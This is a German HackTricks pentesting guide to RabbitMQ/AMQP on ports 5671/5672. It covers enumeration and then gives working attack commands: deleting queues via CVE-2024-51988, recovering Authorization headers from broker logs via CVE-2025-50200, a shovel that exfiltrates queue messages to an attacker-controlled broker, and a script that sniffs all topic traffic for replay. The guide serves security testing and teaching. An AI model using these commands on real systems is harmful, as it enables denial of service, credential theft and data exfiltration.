5671,5672 - Pentesting AMQP

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Von cloudamqp:

RabbitMQ ist eine Nachrichtenwarteschlangen-Software, auch bekannt als ein Nachrichtenvermittler oder Warteschlangen-Manager. Einfach gesagt; es ist Software, in der Warteschlangen definiert werden, mit denen sich Anwendungen verbinden, um eine oder mehrere Nachrichten zu übertragen.
Eine Nachricht kann jegliche Art von Informationen enthalten. Sie könnte zum Beispiel Informationen über einen Prozess oder eine Aufgabe enthalten, die auf einer anderen Anwendung gestartet werden soll (die sogar auf einem anderen Server liegen könnte), oder sie könnte einfach nur eine Textnachricht sein. Die Warteschlangen-Manager-Software speichert die Nachrichten, bis eine empfangende Anwendung sich verbindet und eine Nachricht aus der Warteschlange entnimmt. Die empfangende Anwendung verarbeitet dann die Nachricht.
Definition von .

Standard-Ports: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Standard-Anmeldedaten: guest:guest. RabbitMQ beschränkt diese auf localhost über loopback_users, aber viele Docker/IoT-Images deaktivieren diese Prüfung, daher immer den Remote-Login testen, bevor du annimmst, dass dieser blockiert ist.
  • Authentifizierungsmechanismen: PLAIN und AMQPLAIN sind standardmäßig aktiviert, ANONYMOUS ist auf anonymous_login_user/anonymous_login_pass abgebildet, und EXTERNAL (x509) kann offengelegt werden, wenn TLS aktiviert ist. Ermittle, was der Broker anbietet, damit du weißt, ob du später password spraying oder certificate impersonation versuchen solltest.

Aufzählung

Manuell

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

Sobald authentifiziert, dumpen Sie conn.server_properties, conn.channel_max und conn.frame_max, um Durchsatzlimits zu verstehen und ob Sie Ressourcen mit übergroßen Frames erschöpfen können.

Automatisch

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL checks

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

Dies leaks die Zertifikatskette, die unterstützten TLS-Versionen und ob mutual TLS erforderlich ist.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

Nützlich, sobald du low-priv shell-Zugriff auf den Host hast.

  • Spot ANONYMOUS logins: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the anonymous_login_user (defaults to guest).

Brute Force

Exploitation Tips

Queue deletion without configure perms (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (und ungepatchte Tanzu-Builds) prüft die configure-Berechtigung nicht, wenn Queues über die HTTP API gelöscht werden. Jeder authentifizierte Benutzer mit Zugriff auf das Ziel-vhost kann beliebige Queues löschen, selbst wenn er nur read- oder write-Rechte hat.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Kombiniere dies mit rabbitmqadmin list permissions, um vhosts zu finden, bei denen dein low-priv Benutzer teilweisen Zugriff hat, und lösche dann Queues, um denial-of-service herbeizuführen oder kompensierende Kontrollen auf der AMQP-Seite auszulösen. Siehe 15672 pentesting für weitere HTTP API Endpunkte, die sich mit diesem Bug verketten lassen.

Anmeldeinformationen aus RabbitMQ-Logs sammeln (CVE-2025-50200)

Bis 4.0.8/4.1.0 führt ein Aufruf der management API mit HTTP basic auth auf einer nicht existierenden Ressource dazu, dass der Broker den gesamten Authorization-Header (base64) loggt. Wenn du eingeschränkten Dateisystemzugriff erlangst (z. B. Docker escape, plugin RCE), suche in /var/log/rabbitmq/rabbit@*.log nach Authorization: und stelle Anmeldeinformationen für andere Mandanten oder Service-Accounts wieder her.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Trigger this intentionally with bogus endpoints to plant fresh secrets in the logs, then pivot by reusing the decoded creds over AMQP, STOMP, MQTT or the OS itself.

Weaponize rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) ist ein eigenständiges CLI, das mit der management API kommuniziert und jetzt statisch gelinkte Builds für Linux/macOS/Windows bereitstellt. Drop it on your bounce box and script:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

Da das Tool blue/green-aware Health-Checks unterstützt, kannst du auch rabbitmqadmin health_check port_listener --port 5672 missbrauchen, um aus der Ferne zu bestätigen, ob TLS-Listener exponiert wurden oder um den Dienst für Timing-Probes beschäftigt zu halten.

Message hijacking/sniffing

Wenn du permissive Policies (.* bindings, topic exchanges, or x-queue-master-locator = min-masters) findest, kannst du Nachrichten unauffällig abzweigen, ohne sie zu löschen:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

Tausche den routing key für audit.# oder payments.*, um sensible Flows zu fokussieren, und republish dann gefälschte Nachrichten, indem du die Argumente von basic_publish vertauschst — nützlich für replay attacks gegen nachgelagerte microservices.

Andere RabbitMQ-Ports

In https://www.rabbitmq.com/networking.html finden Sie, dass rabbitmq mehrere Ports verwendet:

  • 1883, 8883: (MQTT clients ohne bzw. mit TLS, wenn das MQTT plugin aktiviert ist. Learn more about how to pentest MQTT here.
  • 4369: epmd: ein Peer-Discovery-Service, der von RabbitMQ-Knoten und CLI-Tools verwendet wird. Learn more about how to pentest this service here.
  • 5672, 5671: von AMQP 0-9-1- und 1.0-Clients ohne bzw. mit TLS verwendet
  • 15672: HTTP API-Clients, management UI und rabbitmqadmin (nur wenn das management plugin aktiviert ist). Learn more about how to pentest this service here.
  • 15674: STOMP-over-WebSockets-Clients (nur wenn das Web STOMP plugin aktiviert ist)
  • 15675: MQTT-over-WebSockets-Clients (nur wenn das Web MQTT plugin aktiviert ist)
  • 15692: Prometheus-Metriken (nur wenn das Prometheus plugin aktiviert ist)
  • 25672: wird für die Kommunikation zwischen Knoten und CLI-Tools verwendet (Erlang distribution server port) und wird aus einem dynamischen Bereich zugewiesen (standardmäßig auf einen einzelnen Port begrenzt, berechnet als AMQP-Port + 20000). Sofern externe Verbindungen auf diesen Ports nicht wirklich erforderlich sind (z. B. wenn das Cluster federation verwendet oder CLI-Tools auf Maschinen außerhalb des Subnetzes eingesetzt werden), sollten diese Ports nicht öffentlich offen sein. Siehe networking guide für Details. Nur 9 dieser Ports sind im Internet geöffnet.
  • 35672-35682: werden von CLI-Tools (Erlang distribution client ports) für die Kommunikation mit Knoten verwendet und aus einem dynamischen Bereich zugewiesen (berechnet als server distribution port + 10000 bis server distribution port + 10010). Siehe networking guide für Details.
  • 61613, 61614: STOMP clients ohne bzw. mit TLS (nur wenn das STOMP plugin aktiviert ist). Weniger als 10 Geräte mit diesem Port offen und größtenteils UDP für DHT nodes.

Siehe auch

4222 Pentesting Nats

Shodan

  • AMQP

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks